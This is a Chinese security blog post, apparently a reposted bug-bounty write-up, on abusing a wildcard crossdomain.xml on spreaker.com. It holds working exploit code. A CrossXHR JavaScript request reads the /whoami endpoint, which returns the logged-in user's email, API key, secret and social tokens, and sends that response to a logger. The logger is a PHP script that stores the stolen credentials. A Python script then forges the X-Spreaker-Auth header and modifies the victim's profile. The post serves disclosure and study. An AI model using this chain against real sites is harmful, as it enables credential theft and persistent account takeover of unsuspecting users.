利用不安全的crossdomian.xml

admin 2023-12-08 16:28:26 AnQuanKeInfo 来源:ZONE.CI 全球网 0 阅读模式

https://p1.ssl.qhimg.com/t013e75421006e3e4f8.png

1.介绍

有些站点的crossdomian.xml配置不安全,比如我这次参加spreaker站点的bug boundtry,他们的http://spreaker.com/crossdomain.xml显示如下:

<cross-domain-policy><allow-access-from domain="*"/></cross-domain-policy>

domain="*",意味着允许载入来自任何站点的swf文件,允许发送请求和读取响应信息,这相当于绕过了同源策略。

2.利用

接下来我查看http://developers.spreaker.com/的开发说明文档,其中有一项引起了我的注意

利用你的api key和secret允许你轻松的读取公共信息而不需要验证,例如:http://api.spreaker.com/show/9 将返回所有关于“The bit a bit show”的公共信息,如果你想得到私有信息或者新建/修改数据,则需要认证。

可以利用api key和secret来实现认证,通过打开http://api.spreaker.com/whoami可以读取api key和secret,保存好你的api key 和secret(因为他们不能修改)

http://api.spreaker.com/whoami 包含所有登陆用户的敏感信息,包括userid , fullname , fbuserid , email , **apikey** , api secret , twauthtoken , twauthtoken_secret , fbauthtoken等等,同样的信息也可以在http://www.spreaker.com/account/profile源码里发现。

你可以自己编码actionscript,来请求http://api.spreaker.com/whoami,然后发送页面的响应信息到你的logger,我们不太擅长编写actionscript,所以我使用CrossXHR,他能够代理js请求通过swf,换句话说,我们通过编码js就可以请求flash

首先构造一个请求,代码如下

function test_get() {
request = new CrossXHR();
request.onreadystatechange = callback;
request.open('GET', 'http://api.spreaker.com/whoami');
request.send();
}
然后把响应信息发给logger
data = request.responseText; //contain the content of the /whoami
httpGet("/poc/logger.php?data="+data); //send it to logger
alert("done"); //just for demo

最后建立logger,来接收。

//receive contetnt via data param , then parse it
$data=$_GET['data'];   
$obj = json_decode($data);
$email = $obj->{'response'}->{'user'}->{'email'};
$apikey =  $obj->{'response'}->{'user'}->{'api_key'}->{'key'};
$apisecret =  $obj->{'response'}->{'user'}->{'api_key'}->{'secret'};
...
$html = '<table>';
$html.= '<tr>';
$html.= '<td>User Id </td>';
$html.= '<td>Fullname </td>';
$html.= '<td>email  </td>';
...
$html.= $email;
$html.='</td>';
$html.='<td>';
$html.= $apikey;
$html.='</td>';
$html.='<td>';
$html.= $apisecret;
...
$file=fopen('data.html','a');
fwrite($file,"<br><br> n");
fwrite($file,$html."nnn");
fwrite($file,"<br><br> n");
fclose($file);
....

以上准备做好以后,我们可以让受害者访问我的站点,比如attacker.com,当受害者此时正登陆spreaker站点的话,我们就能在logger里看到他的敏感信息了。

https://p2.ssl.qhimg.com/t01badaf99f071dd02e.jpg

得到受害者的api key 和 secret后,我们就可以参考http://developers.spreaker.com/,做进一步的操作,比如连接受害者的spreaker账号到任意的社交媒体平台(twitter,facebook等),因为api key和secret无法修改,这也是一个永久性后门。除非你删除你的spreaker账号

通过api key和secret实现认证后,会在以后的访问请求中增加Spreaker-Auth的HTTP头。我下面通过一段python代码来实现认证和修改用户的profile

import random
import time
import hashlib,sys,requests,json
user_id = sys.argv[1]
api_key    = sys.argv[2]
api_secret = sys.argv[3]
# Generate a nonce and get the current timestamp (from epoch)
nonce      = random.randint(0, 99999999)
timestamp  = int(time.time())
# Generate the hash
md5        = hashlib.md5()
md5.update("%s:%s:%s:%s" % (nonce, api_key, api_secret, timestamp))
# Generate the digest
digest     = "%s:%s:%s:%s" % (nonce, api_key, timestamp, md5.hexdigest())
print 'X-Spreaker-Auth: %s'%(digest)
url = "http://api.spreaker.com/user/"+str(user_id)
payload = {'description': 'Hacked'}
headers = {'X-Spreaker-Auth': digest}
r = requests.put(url, params=payload, headers=headers)
print 'response code: ' + str(r.status_code)

提交认证请求

https://p3.ssl.qhimg.com/t012424a969488b4e07.jpg

修改后的profile

https://p3.ssl.qhimg.com/t01e50c7b6f598b606e.jpg

weinxin
版权声明
本站原创文章转载请注明文章出处及链接,谢谢合作!
评论:0   参与:  0